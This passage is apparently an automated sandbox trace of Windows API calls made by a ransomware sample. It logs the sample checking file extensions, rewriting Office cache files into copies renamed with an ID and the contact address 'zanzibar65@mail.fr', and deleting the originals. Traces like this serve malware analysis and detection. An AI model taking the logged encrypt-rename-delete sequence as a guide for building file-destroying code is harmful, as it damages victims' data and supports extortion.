lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.103] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.104] SetEndOfFile (hFile=0x1f0) returned 1 [0042.104] CloseHandle (hObject=0x1f0) returned 1 [0042.111] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.111] SetEndOfFile (hFile=0x1e8) returned 1 [0042.118] CloseHandle (hObject=0x1e8) returned 1 [0042.118] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0042.118] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0042.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.118] lstrlenW (lpString=".doc") returned 4 [0042.118] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.119] lstrlenW (lpString=".docx") returned 5 [0042.119] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0042.119] lstrlenW (lpString=".pdf") returned 4 [0042.119] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.119] lstrlenW (lpString=".xls") returned 4 [0042.119] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.119] lstrlenW (lpString=".xlsx") returned 5 [0042.119] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0042.119] lstrlenW (lpString=".ppt") returned 4 [0042.119] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.119] lstrlenW (lpString=".zip") returned 4 [0042.119] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.119] lstrlenW (lpString=".rar") returned 4 [0042.119] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.119] lstrlenW (lpString=".bz2") returned 4 [0042.119] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.119] lstrlenW (lpString=".7z") returned 3 [0042.119] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.119] lstrlenW (lpString=".dbf") returned 4 [0042.119] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.119] lstrlenW (lpString=".1cd") returned 4 [0042.119] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.119] lstrlenW (lpString=".jpg") returned 4 [0042.119] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.119] lstrlenW (lpString=".doc") returned 4 [0042.119] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.120] lstrlenW (lpString=".docx") returned 5 [0042.120] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0042.120] lstrlenW (lpString=".pdf") returned 4 [0042.120] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.120] lstrlenW (lpString=".xls") returned 4 [0042.120] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.120] lstrlenW (lpString=".xlsx") returned 5 [0042.120] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0042.120] lstrlenW (lpString=".ppt") returned 4 [0042.120] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.120] lstrlenW (lpString=".zip") returned 4 [0042.120] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.120] lstrlenW (lpString=".rar") returned 4 [0042.120] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.120] lstrlenW (lpString=".bz2") returned 4 [0042.120] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.120] lstrlenW (lpString=".7z") returned 3 [0042.120] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.120] lstrlenW (lpString=".dbf") returned 4 [0042.120] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.120] lstrlenW (lpString=".1cd") returned 4 [0042.120] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.120] lstrlenW (lpString=".jpg") returned 4 [0042.120] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.120] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0042.121] lstrlenW (lpString="Office32MUI.msi") returned 15 [0042.121] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.121] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=873984) returned 1 [0042.121] CloseHandle (hObject=0x1e8) returned 1 [0042.121] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0042.121] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.121] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.121] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.121] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.121] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0042.122] GetLastError () returned 0x0 [0042.122] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0042.138] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0042.409] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.410] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0042.410] SetEndOfFile (hFile=0x1f0) returned 1 [0042.410] CloseHandle (hObject=0x1f0) returned 1 [0042.418] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.418] SetEndOfFile (hFile=0x1e8) returned 1 [0042.427] CloseHandle (hObject=0x1e8) returned 1 [0042.427] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0042.428] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0042.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.428] lstrlenW (lpString=".doc") returned 4 [0042.428] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.428] lstrlenW (lpString=".docx") returned 5 [0042.428] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.428] lstrlenW (lpString=".pdf") returned 4 [0042.428] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.428] lstrlenW (lpString=".xls") returned 4 [0042.428] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.428] lstrlenW (lpString=".xlsx") returned 5 [0042.428] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.428] lstrlenW (lpString=".ppt") returned 4 [0042.428] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.428] lstrlenW (lpString=".zip") returned 4 [0042.428] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.428] lstrlenW (lpString=".rar") returned 4 [0042.428] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.428] lstrlenW (lpString=".bz2") returned 4 [0042.429] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.429] lstrlenW (lpString=".7z") returned 3 [0042.429] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.429] lstrlenW (lpString=".dbf") returned 4 [0042.429] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.429] lstrlenW (lpString=".1cd") returned 4 [0042.429] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.429] lstrlenW (lpString=".jpg") returned 4 [0042.429] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.429] lstrlenW (lpString=".doc") returned 4 [0042.429] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.429] lstrlenW (lpString=".docx") returned 5 [0042.429] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.429] lstrlenW (lpString=".pdf") returned 4 [0042.429] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.429] lstrlenW (lpString=".xls") returned 4 [0042.429] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.429] lstrlenW (lpString=".xlsx") returned 5 [0042.429] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.429] lstrlenW (lpString=".ppt") returned 4 [0042.429] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.429] lstrlenW (lpString=".zip") returned 4 [0042.429] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.429] lstrlenW (lpString=".rar") returned 4 [0042.429] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.429] lstrlenW (lpString=".bz2") returned 4 [0042.429] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.430] lstrlenW (lpString=".7z") returned 3 [0042.430] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.430] lstrlenW (lpString=".dbf") returned 4 [0042.430] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.430] lstrlenW (lpString=".1cd") returned 4 [0042.430] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.430] lstrlenW (lpString=".jpg") returned 4 [0042.430] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.430] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0042.430] lstrlenW (lpString="InfLR.cab") returned 9 [0042.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.431] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=18874884) returned 1 [0042.431] CloseHandle (hObject=0x1e8) returned 1 [0042.431] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0042.431] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.431] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0042.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.432] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.432] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.432] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.437] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.437] ReadFile (in: hFile=0x1e8, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.444] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.444] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.444] ReadFile (in: hFile=0x1e8, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.461] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.461] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x327fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0042.558] SetEndOfFile (hFile=0x1e8) returned 1 [0042.559] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0042.559] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.559] WriteFile (in: hFile=0x1e8, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.632] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.632] WriteFile (in: hFile=0x1e8, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.635] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.635] WriteFile (in: hFile=0x1e8, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.638] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0042.638] CloseHandle (hObject=0x1e8) returned 1 [0043.373] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0043.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.373] lstrlenW (lpString=".doc") returned 4 [0043.373] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.373] lstrlenW (lpString=".docx") returned 5 [0043.373] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.373] lstrlenW (lpString=".pdf") returned 4 [0043.373] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.373] lstrlenW (lpString=".xls") returned 4 [0043.373] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.373] lstrlenW (lpString=".xlsx") returned 5 [0043.373] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.373] lstrlenW (lpString=".ppt") returned 4 [0043.374] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.374] lstrlenW (lpString=".zip") returned 4 [0043.374] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.374] lstrlenW (lpString=".rar") returned 4 [0043.374] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.374] lstrlenW (lpString=".bz2") returned 4 [0043.374] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.374] lstrlenW (lpString=".7z") returned 3 [0043.374] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.374] lstrlenW (lpString=".dbf") returned 4 [0043.374] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.374] lstrlenW (lpString=".1cd") returned 4 [0043.374] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.374] lstrlenW (lpString=".jpg") returned 4 [0043.374] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.374] lstrlenW (lpString=".doc") returned 4 [0043.374] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.374] lstrlenW (lpString=".docx") returned 5 [0043.374] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.374] lstrlenW (lpString=".pdf") returned 4 [0043.374] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.374] lstrlenW (lpString=".xls") returned 4 [0043.374] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.374] lstrlenW (lpString=".xlsx") returned 5 [0043.374] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.374] lstrlenW (lpString=".ppt") returned 4 [0043.374] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.375] lstrlenW (lpString=".zip") returned 4 [0043.375] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.375] lstrlenW (lpString=".rar") returned 4 [0043.375] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.375] lstrlenW (lpString=".bz2") returned 4 [0043.375] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.375] lstrlenW (lpString=".7z") returned 3 [0043.375] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.375] lstrlenW (lpString=".dbf") returned 4 [0043.375] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.375] lstrlenW (lpString=".1cd") returned 4 [0043.375] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.375] lstrlenW (lpString=".jpg") returned 4 [0043.375] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.375] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0043.375] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0043.375] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0043.376] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=2503680) returned 1 [0043.376] CloseHandle (hObject=0x1e8) returned 1 [0043.376] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0043.376] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 